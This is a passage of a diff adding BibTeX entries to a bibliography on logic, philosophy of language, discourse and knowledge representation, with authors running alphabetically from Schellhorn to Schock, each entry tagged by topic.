{Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {73--78}, + address = {Somerset, New Jersey}, + topic = {connectionist-models;language-learning;grammar-learning;} + } + +@incollection{ schellhorn-ahrendt:1998a, + author = {G. Schellhorn and W. Ahrendt}, + title = {The {WAM} Case Study: Verifying + Compiler Correctness for {P}rolog with {KIV}}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;software-engineering; + program-verification;} + } + +@article{ schellinx:1991a, + author = {Harold Schellinx}, + title = {Some Syntactical Observations on Linear Logic}, + journal = {Journal of Logic and Computation}, + volume = {1}, + number = {4}, + year = {1991}, + pages = {537--559}, + topic = {linear-logic;} + } + +@incollection{ schena:1997a, + author = {Irene Schena}, + title = {Pomset Logic and Variants in Natural Languages}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {386--405}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@book{ schenkein:1978a, + editor = {A. Schenkein}, + title = {Studies in the Organization of Conversational Interaction}, + publisher = {Academic Press}, + year = {1978}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {conversation-analysis;} + } + +@article{ scher:1996a, + author = {G.Y. Scher}, + title = {Did {T}arski Commit `{T}arski's Fallacy'?}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {2}, + pages = {653--686}, + topic = {logical-consequence;} + } + +@article{ scher:1997a, + author = {G.Y. Sher}, + title = {Partially-Ordered (Branching) Generalized Quantifiers: A + General Definition}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {26}, + number = {1}, + pages = {1--43}, + topic = {generalized-quantifiers;} + } + +@article{ scher:2001a, + author = {Gila Sher}, + title = {The Formal-Structural View of Logical Consequence}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {2}, + pages = {241--261}, + topic = {logical-consequence;philosophy-of-logic;} + } + +@book{ scherer-ekman:1984a, + editor = {Klaus R. Scherer and Paul Ekman}, + title = {Approaches To Emotion}, + publisher = {Lawrence Erlbaum Associates}, + year = {1984}, + address = {Hillsdale, New Jersey}, + ISBN = {0898593506}, + topic = {emotion;psychology-of-emotion;} + } + +@phdthesis{ scherl:1992a, + author = {Richard B. Scherl}, + title = {A Constraint Logic Approach to Automated Modal Deduction}, + school = {Computer Science, University of Illinois}, + year = {1992}, + address = {Urbana, IL}, + topic = {theorem-proving;modal-logic;} + } + +@inproceedings{ scherl-levesque:1993a, + author = {Richard B. Scherl and Hector J. Levesque}, + title = {The Frame Problem and Knowledge-Producing Actions}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {698--695}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;action;epistemic-logic;frame-problem;kr-course;} + } + +@inproceedings{ scherl:1997a, + author = {Richard B. Scherl}, + title = {Language, Action, and Indexicality}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {132--133}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {indexicals;context;} + } + +@inproceedings{ scherl-shafer:1998a, + author = {Richard B. Scherl and Glenn Shafer}, + title = {A Logic of Action and Causality}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {84--93}, + topic = {causality;probability;action;branching-time; + decision-trees;} + } + +@article{ schervish-etal:1984a, + author = {Mark Schervish and Teddy Seidenfeld and Jay Kadane}, + title = {The Extent of Non-Conglomerability on Finitely Additive + Probabilities}, + journal = {Zeitschrift f\"ur {W}ahrscheinlichkeitstheorie und + {V}erwandte {G}ebiete}, + year = {1984}, + volume = {66}, + pages = {206--226}, + missinginfo = {number}, + topic = {finitely-additive-probability;} + } + +@article{ scheuchter-kaindl:1998a, + author = {Anton Scheuchter and Hermann Kaindl}, + title = {Benefits of Using Multivalued Functions for + Minimizing}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {2}, + pages = {187--208}, + topic = {minimaxing;game-theoretic-reasoning;} + } + +@article{ schick_f:1967a, + author = {Frederic Schick}, + title = {Review of {\it The Logic of Decision}, by {R}ichard {C}. + {J}effrey}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {12}, + pages = {396--400}, + topic = {decision-theory;} + } + +@incollection{ schick_f:1988a, + author = {Frederic Schick}, + title = {Self-Knowledge, Uncertainty, and Choice}, + booktitle = {Decision, Probability, Utility: Selected Readings}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Peter G\"ardenfors and Nils-Eric Sahlin}, + pages = {270--286}, + address = {Cambridge, England}, + topic = {decision-theory;} + } + +@book{ schick_f:1997a, + author = {Frederic Schick}, + title = {Making Choices: A Recasting of Decision Theory}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + xref = {Review: levi_i:1997a.}, + topic = {decision-theory;} + } + +@article{ schick_f:2000a, + author = {Frederick Schick}, + title = {Surprise, Self-Knowledge, and Commonality}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {8}, + pages = {440--453}, + topic = {surprise-examination-paradox;mutual-beliefs;} + } + +@book{ schick_kd:1996a, + author = {Kerl D. Schick}, + title = {Philosophy of Logic}, + publisher = {Alden Press}, + year = {1996}, + address = {Amherst, Massachusetts}, + topic = {philosophy-of-logic;} + } + +@book{ schiffer:1972a, + author = {Stephen Schiffer}, + title = {Meaning}, + publisher = {Oxford University Press}, + year = {1972}, + address = {Oxford}, + topic = {speaker-meaning;foundations-of-semantics;philosophy-of-language; + convention;speech-acts;pragmatics;} + } + +@article{ schiffer:1978a, + author = {Stephen Schiffer}, + title = {The Basis of Reference}, + journal = {Erkenntnis}, + year = {1978}, + volume = {13}, + pages = {171--206}, + topic = {philosophy-of-language;reference;} + } + +@incollection{ schiffer:1978b, + author = {Stephen Schiffer}, + title = {Naming and Knowing}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {61--74}, + address = {Minneapolis}, + topic = {reference;a-priori;} + } + +@incollection{ schiffer:1981a, + author = {Stephen Schiffer}, + title = {Truth and the Theory of Content}, + booktitle = {Meaning and Understanding}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {H. Parret and J. Bouveresse}, + address = {Berlin}, + missinginfo = {pages}, + topic = {truth;context;} + } + +@article{ schiffer:1982a, + author = {Stephen Schiffer}, + title = {Intention-Based Semantics}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {1}, + missinginfo = {pages}, + xref = {Commentary: bennett_j:1982a.}, + topic = {foundations-of-semantics;} + } + +@incollection{ schiffer:1986a, + author = {Stephen Schiffer}, + title = {Compositional Semantics and Language Understanding}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {175--207}, + address = {Oxford}, + topic = {philosophy-of-language;implicature;speaker-meaning;Grice; + pragmatics;} + } + +@book{ schiffer:1987a, + author = {Steven Schiffer}, + title = {Remnants of Meaning}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + xref = {Discussion: schiffer:1988a,}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@incollection{ schiffer:1987b, + author = {Steven Schiffer}, + title = {Existentialist Semantics and Sententialist Theories of + Belief}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {113--142}, + address = {London}, + contentnote = {Argues against sentential reps of prop atts. SS + believes this suggests foundational problems for semantics.}, + topic = {nl-semantics;foundations-of-semantics;philosophy-of-language; + belief;} + } + +@incollection{ schiffer:1987c, + author = {Steven Schiffer}, + title = {The `Fido'-Fido Theory of Belief}, + booktitle = {Philosophical Perspectives 1: Metaphysics}, + publisher = {Blackwell Publishers}, + year = {1987}, + editor = {James E. Tomberlin}, + address = {Oxford}, + pages = {455-480}, + topic = {belief;syntactic-attitudes;} + } + +@article{ schiffer:1988a, + author = {Steven Schiffer}, + title = {Overview of the Book}, + journal = {Mind and Language}, + year = {1988}, + volume = {3}, + number = {1}, + pages = {1--8}, + xref = {Summary of schiffer:1987a.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@article{ schiffer:1988b, + author = {Steven Schiffer}, + title = {Reply to Comments}, + journal = {Mind and Language}, + year = {1988}, + volume = {3}, + number = {1}, + pages = {53--63}, + xref = {Discussion of schiffer:1987a. Reply to hornstein:1988a, + johnston_m1:1988a, partee:1988a.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@article{ schiffer:1991a, + author = {Stephen Schiffer}, + title = {Ceteris Paribus Laws}, + journal = {Mind}, + year = {1991}, + volume = {100}, + number = {1}, + pages = {1--17}, + topic = {ramification-problem;natural-laws; + ceteris-paribus-generalizations;} + } + +@article{ schiffer:1992a, + author = {Stephen Schiffer}, + title = {Belief Ascription}, + journal = {Journal of Philosophy}, + year = {1992}, + volume = {89}, + pages = {499--521}, + missinginfo = {number}, + topic = {belief;} + } + +@incollection{ schiffer:1993a, + author = {Stephen Schiffer}, + title = {Actual-Language Relations}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {231--258}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {convention;foundations-of-semantics;} + } + +@article{ schiffer:1995a, + author = {Stephen Schiffer}, + title = {Reply to {R}ay}, + journal = {No\^us}, + year = {1995}, + volume = {3}, + pages = {397--401}, + topic = {philosophy-of-language;compositionality;} + } + +@article{ schiffer:1995b, + author = {Stephen Schiffer}, + title = {Descriptions, Indexicals, and Belief Reports: + Some Dilemmas (But Not the Ones You Expect)}, + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {413}, + pages = {107--131}, + topic = {indexicals;reference;} + } + +@article{ schiffer:1996a, + author = {Stephen Schiffer}, + title = {Review of {\it Direct Reference: From Language to + Thought}, by {F}ran\c{c}ois {R}ecanati}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {1}, + pages = {91--102}, + xref = {Review of recanati:1997a.}, + topic = {philosophy-of-language;philosophy-of-mind;reference;} + } + +@article{ schiffer:1996b, + author = {Stephen Schiffer}, + title = {Contextualist Solutions to Skepticism}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1996}, + volume = {96}, + note = {Supplementary Series.}, + pages = {317--333}, + topic = {agent-attitudes;context;skepticism;} + } + +@incollection{ schiffer:1999a, + author = {Stephen Schiffer}, + title = {The Epistemic Theory of Vagueness}, + booktitle = {Philosophical Perspectives 13: Epistemology, 1999}, + publisher = {Blackwell Publishers}, + year = {1999}, + editor = {James E. Tomberlin}, + pages = {481--503}, + address = {Oxford}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ schiffer:2000a, + author = {Stephen Schiffer}, + title = {Vagueness and Partial Belief}, + booktitle = {Skepticism}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {Ernest Sosa and Enrique Villanueva}, + pages = {220--257}, + address = {Oxford}, + xref = {Commentary: horwich:2000a, valdivia:2000a, marqueze:2000a, + barnett:2000a. Reply to commentary: schiffer:2000a.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ schiffer:2000b, + author = {Steven Schiffer}, + title = {Replies}, + booktitle = {Skepticism}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {Ernest Sosa and Enrique Villanueva}, + pages = {321--343}, + address = {Oxford}, + topic = {vagueness;sorites-paradox;} + } + +@article{ schiffer:2002a, + author = {Stephen Schiffer}, + title = {Amazing Knowledge}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {4}, + pages = {200--202}, + xref = {Commentary on: stanley-williamson:2001a}, + topic = {knowing-how;knowledge;} + } + +@book{ schiffrin:1987a, + author = {Deborah Schiffrin}, + title = {Discourse Markers}, + publisher = {Cambridge University Press}, + year = {1987}, + volume = {5}, + address = {Cambridge, UK}, + series = {Studies in International Linguistics}, + ISBN = {0521303850}, + topic = {punctuation;} + } + +@book{ schiffrin:1994a, + author = {Deborah Schiffrin}, + title = {Approaches to Discourse}, + publisher = {Blackwell Publishers}, + year = {1994}, + address = {Oxford}, + ISBN = {063116622X (acid-free paper)}, + topic = {pragmatics;discourse-analysis;} + } + +@incollection{ schild:1994a, + author = {Klaus Schild}, + title = {Terminological Cycles and the Propositional $\mu$-Calculus}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {509--520}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@incollection{ schilder:1998a, + author = {Frank Schilder}, + title = {Temporal Discourse Markers and the Flow of Events}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {58--61}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;temporal-discourse;} + } + +@incollection{ schilder:1999a, + author = {Frank Schilder}, + title = {Reference Hashed}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {100--109}, + address = {New Brunswick, New Jersey}, + topic = {anaphora;discourse-referents;} + } + +@book{ schilpp:1963a, + editor = {Paul Schilpp}, + title = {The Philosophy of {R}udolph {C}arnap}, + publisher = {Open Court}, + year = {1963}, + address = {LaSalle, Illinois}, + topic = {Carnap;} + } + +@book{ schirn:1996a, + author = {Matthias Schirn}, + title = {Frege: Importance and Legacy}, + publisher = {Walter de Gruyter}, + year = {1996}, + address = {Berlin}, + xref = {Review: sullivan:2000a.}, + topic = {Frege;} + } + +@incollection{ schlangen-lascarides:2002a, + author = {David Schlangen and Alex Lascarides}, + title = {Resolving Fragments Using Discourse Information}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {161--168}, + address = {Edinburgh}, + topic = {computational-dialogue;ellipsis;} + } + +@book{ schlechta:1992a, + author = {Karl Schelechta}, + title = {Results on Non-Monotonic Logics}, + publisher = {IBM}, + year = {1992}, + address = {Yorktown Heights, New York}, + topic = {nonmonotonic-logic;} + } + +@article{ schlechta-makinson:1994a, + author = {Karl Schlechta and David C. Makinson}, + title = {Local and Global Metrics for the Semantics of Counterfactual + Conditionals}, + journal = {Journal of applied Non-Classical Logics}, + year = {1994}, + volume = {4}, + number = {2}, + pages = {129--140}, + topic = {conditionals;} + } + +@article{ schlechta:1996a, + author = {Karl Schlechta}, + title = {Completeness and Incompleteness for Plausibility Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {2}, + pages = {177--192}, + topic = {nonmonotonic-logic;model-preference;} + } + +@incollection{ schlechta:1996b, + author = {Karl Schlechta}, + title = {Some Completeness Results for Classical Preferential Logics}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {229--237}, + address = {Berlin}, + topic = {nonmonotonic-logic;model-preference;completeness-theorems;} + } + +@incollection{ schlechta-etal:1996a, + author = {Karl Schlechta and Daniel Lehmann and Menachem Magidor}, + title = {Distance Semantics for Belief Revision}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {137--145}, + address = {San Francisco}, + contentnote = {Distance Semantics are "closest-possible-worlds" + semantics, as in the semantics of conditionals.}, + topic = {belief-revision;conditionals;} + } + +@book{ schlechta:1997a, + author = {Karl Schlechta}, + title = {Nonmonotonic Logics}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + contentnote = {TC: + 1. Introduction + 2. Preferential Logics and Related Topics + 3. Defaults as Generalized Quantifiers + 4. Logic and Analysis + 5. Theory Revision and Probability + 6. Structured Reasoning + } , + ISBN = {3-540-62482-1}, + topic = {nonmonotonic-logic;} + } + +@article{ schlechta:2000a, + author = {Karl Schlechta}, + title = {New Techniques and Completeness Results for Preferential + Structures}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {2}, + pages = {719--746}, + topic = {model-preference;nonmonotonic-logic;} + } + +@article{ schlenninx:1998a, + author = {Harold Schlenninx}, + title = {Review of {\em Basic Proof Theory}, + by {A}.{S}. {T}roelstra and {H}. {S}chwichtenberg}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {2}, + pages = {221--223}, + topic = {proof-theory;} + } + +@article{ schlesinger_gn:1993a, + author = {George N Schlesinger}, + title = {Review of {\it The Disappearance of Time: {K}urt + {G}\"odel and the Idealistic Tradition in Philosophy}, + by {P}alle {Y}ourgrau}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {4}, + pages = {602--604}, + xref = {Review of: yourgrau:1991a.}, + topic = {philosophy-of-time;Goedel;} + } + +@incollection{ schlesinger_im:1971a, + author = {I.M. Schlesinger}, + title = {On Linguistic Competence}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Company}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {150--172}, + missinginfo = {A's 1st name.}, + topic = {philosophy-of-language;} + } + +@incollection{ schlobohm:1985a, + author = {Dean Schlobohm}, + year = {1985}, + pages = {765 -- 815}, + title = {{TA}---A Prolog Program which Analyzes Income Tax Issues + under Section 318(A) of the Internal Revenue Code}, + booktitle = {Computing Power and Legal Reasoning}, + publisher = {West Publishing Co.}, + editor = {Charles Walter}, + address = {Saint Paul, Minnesota}, + topic = {legal-AI;tax-law;} + } + +@article{ schlossberger:1980a, + author = {Eugene Schlossberger}, + title = {Similarity and Counterfactuals}, + journal = {Analysis}, + year = {1980}, + volume = {40}, + pages = {80--82}, + missinginfo = {Year, volume may be off a little.}, + topic = {conditionals;} + } + +@inproceedings{ schmaus:1998a, + author = {Warren Schmaus}, + title = {Functionalism and the Meaning of Social Facts}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {314--323}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {functionalism;philosophy-of-social-science;} + } + +@incollection{ schmerling:1975a1, + author = {Susan F. Schmerling}, + title = {Asymmetric Conjunction and Rules of Conversation}, + booktitle = {Syntax and Semantics 3: Speech Acts}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole and Jerry Morgan}, + pages = {211--232}, + address = {New York}, + topic = {implicature;pragmatics;} + } + +@article{ schmerling:1983a, + author = {Susan F. Schmerling}, + title = {Two Theories of Syntactic Categories}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {3}, + pages = {393--421}, + topic = {syntactic-categories;} + } + +@article{ schmidt_cf-etal:1978a, + author = {C.F. Schmidt and N.S. Sridharan and J.L. Goodson}, + title = {The Plan Recognition Problem: An Intersection of + Psychology and Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {1--2}, + pages = {45--83}, + missinginfo = {A's 1st name, number}, + topic = {plan-recognition;pragmatics;} + } + +@book{ schmidt_da:1994a, + author = {David A. Schmidt}, + title = {The Structure of Typed Programming Languages}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {theory-of-programming-languages;} + } + +@incollection{ schmidt_ra:1998a, + author = {Renate A. Schmidt}, + title = {Resolution is a Decision Procedure for Many Propositional + Modal Logics}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {187--208}, + address = {Stanford, California}, + topic = {modal-logic;resolution;decidability;} + } + +@article{ schmidt_t-shenoy:1998a, + author = {Tuija Schmidt and Prakesh Shenoy}, + title = {Some Improvements to the {S}henoy-{S}hafer and + {H}ugin Architectures for Computing Marginals}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {2}, + pages = {323--333}, + topic = {probabilistic-reasoning;Bayesian-networks;} + } + +@incollection{ schmidtschauss:1989a, + author = {Manfred Schmidt-Schau{\ss}}, + title = {Subsumption in KL-ONE is Undecidable}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {421--431}, + address = {San Mateo, California}, + topic = {kr;taxonomic-logics;complexity-in-AI;kr-course;} + } + +@article{ schmidtschauss-smolka:1991a, + author = {Manfred Schmidt-Schau{\ss}; and Gert Smolka}, + title = {Attributive Concept Descriptions with Complements}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {1}, + pages = {1--26}, + acontentnote = {Abstract: + We investigate the consequences of adding unions and complements + to attributive concept descriptions employed in terminological + knowledge representation languages. It is shown that deciding + coherence and subsumption of such descriptions are + PSPACE-complete problems that can be decided with linear space.}, + topic = {taxonomic-logics;complexity-in-AI;} + } + +@inproceedings{ schmiedel:1992a, + author = {Albrecht Schmiedel}, + title = {For a More Expressive Query Language}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {98--102}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@incollection{ schmolze:1989a, + author = {James G. Schmolze}, + title = {Terminological Knowledge Representation Systems Suporting + N-Ary Terms}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {432--443}, + address = {San Mateo, California}, + topic = {kr;kr-course;relational-reasoning;taxonomic-logics;} + } + +@article{ schneider_bsw:2001a, + author = {Bernd S.W. Schneider}, + title = {Determining if ({FC)}-Conflict-Directed Backjumping + Visits a Given Node is {NP}-Hard}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {132}, + number = {1}, + pages = {105--117}, + topic = {search;complexity-in-AI;} + } + +@article{ schneider_e:1953a, + author = {Erna Schneider}, + title = {Recent Discussions on Subjunctive Conditionals}, + journal = {Review of Metaphysics}, + year = {1953}, + volume = {6}, + pages = {623--649}, + topic = {conditionals;} + } + +@incollection{ schneider_hj:1979a, + author = {Hans J. Schneider}, + title = {Explanation and Understanding in the Theory of Language}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {216--225}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ schneider_r:1998a, + author = {Ren\'e Schneider}, + title = {A Lexically-Intensive Algorithm for + Domain-Specific Knowledge Acquisition}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {19--28}, + address = {Somerset, New Jersey}, + topic = {machine-learning;intelligent-information-retrieval; + text-skimming;machine-language-learning;finite-state-nlp;} + } + +@book{ schneiderhufschmidt:1993a, + editor = {Matthias Schneider-Hufschmidt and Thomas Kühme and Uwe + Malinowski}, + title = {Adaptive User Interfaces: Principles and Practice}, + publisher = {North-Holland Publishing Company}, + year = {1993}, + address = {Amsterdam}, + ISBN = {0444815457 (acid-free paper)}, + topic = {adaptive-interfaces;} + } + +@incollection{ schnelle:1971a, + author = {Helmut Schnelle}, + title = {Language Communication with Children---toward + a Theory of Language Use}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Company}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {173--193}, + topic = {pragmatics;child-language;} + } + +@incollection{ schnelle:1976a, + author = {Helmut Schnelle}, + title = {Basic Aspects of the Theory of Grammatical Form}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {377--404}, + address = {Dordrecht}, + topic = {transformational-grammar;foundations-of-linguistics;} + } + +@incollection{ schnelle:1979a, + author = {Helmut Schnelle}, + title = {Circumstance Sentences}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {93--115}, + address = {Dordrecht}, + topic = {context;indexicatity;} + } + +@incollection{ schnelle:1988a, + author = {Helmut Schnelle}, + title = {Turing Naturalized: {V}on {N}eumann's Unfinished Project}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {539--559}, + address = {Oxford}, + topic = {foundations-of-computation;} + } + +@incollection{ schnelle:1989a, + author = {Helmut Schnelle}, + title = {Linguistic Research in the Context of + Cognitive Science and Artificial Intelligence: + An Introduction}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {1--36}, + address = {Hillsdale, New Jersey}, + topic = {cognitive-science-general;linguistics-general;} + } + +@incollection{ schnelle:1989b, + author = {Helmut Schnelle}, + title = {The Challenge of Concrete Linguistic + Description: Connectionism, Massively Parallel + Distributed Processing, Net-Linguistics}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {143--170}, + address = {Hillsdale, New Jersey}, + topic = {connectionism;linguistics-general;} + } + +@book{ schnelle-bernsen:1989a, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + title = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + address = {Hillsdale, New Jersey}, + contentnote = {TC: + 1. Niels Ole Bernsen, "General Introduction: A {E}uropean + Perspective on Cognitive Science" + 2. Helmut Schnelle, "Linguistic Research in the Context of + Cognitive Science and Artificial Intelligence: + An Introduction" + 3. John Laver, "Cognitive Science and Speech: A Framework for + Research" + 4. Ewan Klein, "Grammar Frameworks" + 5. Johan van Benthem, "Logical Semantics" + 6. Franz Guenthner, "Discourse: Understanding in Context" + 7. Helmut Schnelle, "The Challenge of Concrete Linguistic + Description: Connectionism, Massively Parallel + Distributed Processing, Net-Linguistics" + 8. Wolfgang Wahlster, "Natural Language Systems: Some + Research Trends" + 9. Johan van Benthem, "Reasoning and Cognition: Towards a + Wider Perspective in Logic" + } , + topic = {nl-semantics;} + } + +@incollection{ schnelle:1994a, + author = {Helmut Schnelle}, + title = {Semantics in the Brain's Lexicon---Some + Preliminary Remarks on Its Epistemology}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {345--356}, + address = {Pisa and Dordrecht}, + topic = {foundations-of-semantics;psychological-reality; + nl-semantics-and-cognition;} + } + +@article{ schnelle:1999a, + author = {Helmut Schnelle}, + title = {Mental Computation---A Critical Analysis of Some Proposals + by {M}. {B}ierwisch}, + journal = {Theoretical Linguistics}, + year = {1999}, + volume = {25}, + number = {2/3}, + pages = {257--282}, + topic = {psycholinguistics;linguistics-methodology;} + } + +@inproceedings{ schober-etal:1999a, + author = {Michael F. Schober and Frederic G. Conrad and Jonathan E. + Bloom}, + title = {Enhancing Collaboration in Computer-Administered + Survey Interviews}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {108--115}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;collaboration;} + } + +@article{ schock:1974a, + author = {Rolf Schock}, + title = {A Critique of Some Logical Treatments of Ontological + Predicates}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {317--322}, + topic = {(non)existence;logic-and-ontology;} + } 